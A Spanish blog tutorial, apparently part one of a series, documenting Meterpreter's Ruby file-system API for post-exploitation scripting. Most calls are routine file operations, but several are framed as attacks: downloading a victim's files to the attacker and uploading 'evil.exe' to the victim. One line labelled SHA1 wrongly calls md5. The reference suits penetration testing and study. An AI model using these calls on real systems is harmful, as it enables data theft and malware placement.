Meterpreter API (Parte I)

En este artículo el objetivo es ayudar al desarrollador de scripts de Meterpreter a localizar y conocer funciones que le serán útiles, y objetos que pueden facilitar mucho la vida del desarrollador. Hoy nos centramos en las operaciones más comunes sobre el File System en general. Si quieres comenzar el desarrollo de scripts, comienza por aprender Ruby, un lenguaje sencillo e intuitivo, y no dudes en leer estos artículos:

- Encendiendo el horno: desarrollo de scripts de Meterpreter

- Mixins de Ruby

- Evasión de eventos en los scripts de Meterpreter

Comenzemos! ( =begin )

Para listar directorios:

Syntax: client.fs.dir.entriesOutput: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"]Comment: Para listar directorioSyntax: client.fs.dir.entries("c:\\")Output: ["sample_file.txt","dummy_directory","myfile.exe"]Comment: Para listar unidad CSyntax: client.fs.dir.entries_with_infoOutput: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]Comment: Para listar directorio con más informaciónSyntax: client.fs.dir.entries_with_info("c:\\")Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]Comment: Para listar unidad C con detallePara operar sobre directorios:
Syntax: client.fs.dir.chdir("c:\\")Output: 0Comment: Esto cambia el directorio de trabajoSyntax: client.fs.dir.mkdir("c:\\oldman")Output: 0Comment: Crea un directorio en la ruta especificadaSyntax: client.fs.dir.pwdOutput: "c:\\oldmanlab"Comment: Proporciona el actual directorio de trabajoSyntax: client.fs.dir.getwdOutput: "c:\\oldmanlab"Comment: Proporciona el actual directorio de trabajo
Syntax: client.fs.dir.delete("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacíoSyntax: client.fs.dir.rmdir("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacíoSyntax: client.fs.dir.unlink("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacío
Operaciones externas (download/upload): Syntax: client.fs.dir.download("/root/oldmanlab/","c:\\oldman")Output: [".", "..", "firefox.lnk", "my_file.txt"]Comment: Descarga todos los archivos que hay dentro del directorio de la víctima y lo almacena en la ruta local proporcionada por el atacanteSyntax: client.fs.dir.upload("c:\\oldman","/root/oldmanlab")Output: [".", "..", "firefox.lnk", "my_file.txt"]Comment: Esto permite subir todo el contenido dentro del directorio origen de un atacante al directorio destinto del equipo de la víctimaOperaciones extra sobre ficheros:
Syntax: client.fs.file.separatorOutput: \\Comment: Devuelve el tipo de separador que utiliza el sistema, por ejemplo Windows \\ Unix /
Syntax: client.fs.file.search("c:\\oldman","hacking.txt")Output: [{"path"=>"c:\\oldman\\lab", "name"=>"hacking.txt", "size"=>4}]Comment: Esto permite realizar búsquedas de ficheros sobre un directorio baseSyntax: client.fs.file.basename("c:\\oldman\\hacking.txt")Output: hacking.txtComment: Proporciona el nombre del fichero en concreto sin el pathSyntax: client.fs.file.expand_path("%TEMP%")Output: "C:\\WINDOWS\\TEMP"Comment: Devuelve el Path completo de una variable de entornoSyntax: client.fs.file.md5("c:\\oldman\\file.txt")Output: "\x12,\x17~Fj\xFEq\xB7?'\x01;f\x7F'"Comment: Devuelve el hash MD5 de un ficheroSyntax: client.fs.file.md5("c:\\oldman\\file.txt")Output: "Q\xD0\b\xFF\xFA\xD8\xF4x7_\xAE\x911\xB4\xE12V\xB8\tw"Comment: Devuelve el hash SHA1 de un ficheroSyntax: client.fs.file.exists?("c:\\oldman\\file.txt")Output: trueComment: Devuelve true si el fichero existeSyntax: client.fs.file.rm("c:\\oldman\\file.txt")Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0Comment: Elimina el ficheroSyntax: client.fs.file.unlink("c:\\oldman\\file.txt")Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0Comment: Elimina el ficheroSyntax: client.fs.file.upload("c:\\oldman","/root/lab/evil.exe")Output: ["/root/lab/firefox.lnk"]Comment: Subre un fichero a un directorio de la víctimaSyntax: client.fs.file.download("/root/lab/secret.exe","c:\\oldman\\secret.exe")Output: ["c:\\oldman\\secret.exe"]Comment: Descarga un fichero de un directorio de la víctima a un directorio local del atacante

Por hoy esto es todo, más información en la web de Oldman, un blog interesante el cual hemos querido rescatar, proporcionando el trabajo que esta persona realizó. En el próximo artículo nos centraremos en redes y OS, para que podáis diseñar e implementar vuestros scripts de Meterpreter.

Fin ( =end )